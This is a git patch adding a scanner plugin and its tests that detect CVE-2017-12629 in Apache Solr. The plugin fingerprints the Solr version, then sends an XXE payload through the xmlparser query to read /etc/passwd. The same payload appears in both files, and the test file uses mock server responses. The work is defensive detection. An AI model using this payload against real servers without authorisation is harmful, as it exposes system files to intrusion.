From 31b1ded8a86684199a2784f3e9cf2428bb069041 Mon Sep 17 00:00:00 2001 From: DINESH YEDDALA Date: Sun, 23 Aug 2026 17:53:44 +0000 Subject: [PATCH] templated/CVE-2017-12629 --- .../2017/Apache_Solr_CVE_2017_12629.textproto | 78 +++++++++++++++++++ .../Apache_Solr_CVE_2017_12629_test.textproto | 74 ++++++++++++++++++ 2 files changed, 152 insertions(+) create mode 100644 templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629.textproto create mode 100644 templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629_test.textproto diff --git a/templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629.textproto b/templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629.textproto new file mode 100644 index 000000000..7caa5464a --- /dev/null +++ b/templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629.textproto @@ -0,0 +1,78 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Apache_Solr_CVE_2017_12629" + author: "dyeddala" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2017-12629" + } + severity: CRITICAL + title: "Apache Solr < 7.1.0 - Remote Code Execution / XXE" + description: "Apache Solr before 7.1.0 with Apache Lucene before 7.1.0 is vulnerable to XML External Entity (XXE) expansion in the XML Query Parser and Remote Code Execution via the Config API (RunExecutableListener)." + recommendation: "Upgrade Apache Solr to version 7.1.0 or later. Restrict access to administrative endpoints and disable vulnerable request handlers if updates cannot be applied immediately." + related_id: { + publisher: "CVE" + value: "CVE-2017-12629" + } +} + +config: {} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_solr" + http_request: { + method: GET + uri: "/solr/admin/info/system?wt=json" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "solr-spec-version" } + ] + } + } + } +} + +actions: { + name: "detect_xxe_xmlparser" + http_request: { + method: GET + uri: "/solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+test+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E+%25xxe%3B%5D%3Cg%3E%3C%2Fg%3E" + response: { + http_status: 400 + expect_any: { + conditions: [ + { body: {} contains: "systemId: file:///etc/passwd" }, + { body: {} contains: "root:x:0:0" } + ] + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + actions: [ + "fingerprint_solr", + "detect_xxe_xmlparser" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629_test.textproto b/templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629_test.textproto new file mode 100644 index 000000000..0e008ac16 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2017/Apache_Solr_CVE_2017_12629_test.textproto @@ -0,0 +1,74 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Apache_Solr_CVE_2017_12629" +} + +######## +# TESTS # +######## + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + mock_http_server: { + mock_responses: [ + { + uri: "/solr/admin/info/system?wt=json" + status: 200 + headers: [ + { name: "Content-Type" value: "application/json" } + ] + body_content: "{\"responseHeader\":{\"status\":0},\"lucene\":{\"solr-spec-version\":\"6.6.0\"}}" + }, + { + uri: "/solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+test+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E+%25xxe%3B%5D%3Cg%3E%3C%2Fg%3E" + status: 400 + headers: [ + { name: "Content-Type" value: "application/xml" } + ] + body_content: "org.apache.solr.common.SolrException: systemId: file:///etc/passwd; line 1; column 1; org.xml.sax.SAXParseException" + } + ] + } +} + +tests: { + name: "whenNotVulnerable_returnsFalse" + expect_vulnerability: false + mock_http_server: { + mock_responses: [ + { + uri: "/solr/admin/info/system?wt=json" + status: 200 + headers: [ + { name: "Content-Type" value: "application/json" } + ] + body_content: "{\"responseHeader\":{\"status\":0},\"lucene\":{\"solr-spec-version\":\"7.1.0\"}}" + }, + { + uri: "/solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+test+%5B%3C%21ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E+%25xxe%3B%5D%3Cg%3E%3C%2Fg%3E" + status: 200 + headers: [ + { name: "Content-Type" value: "application/xml" } + ] + body_content: "0" + } + ] + } +} + +tests: { + name: "whenNotSolr_returnsFalse" + expect_vulnerability: false + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 404 + body_content: "404 Not Found" + } + ] + } +}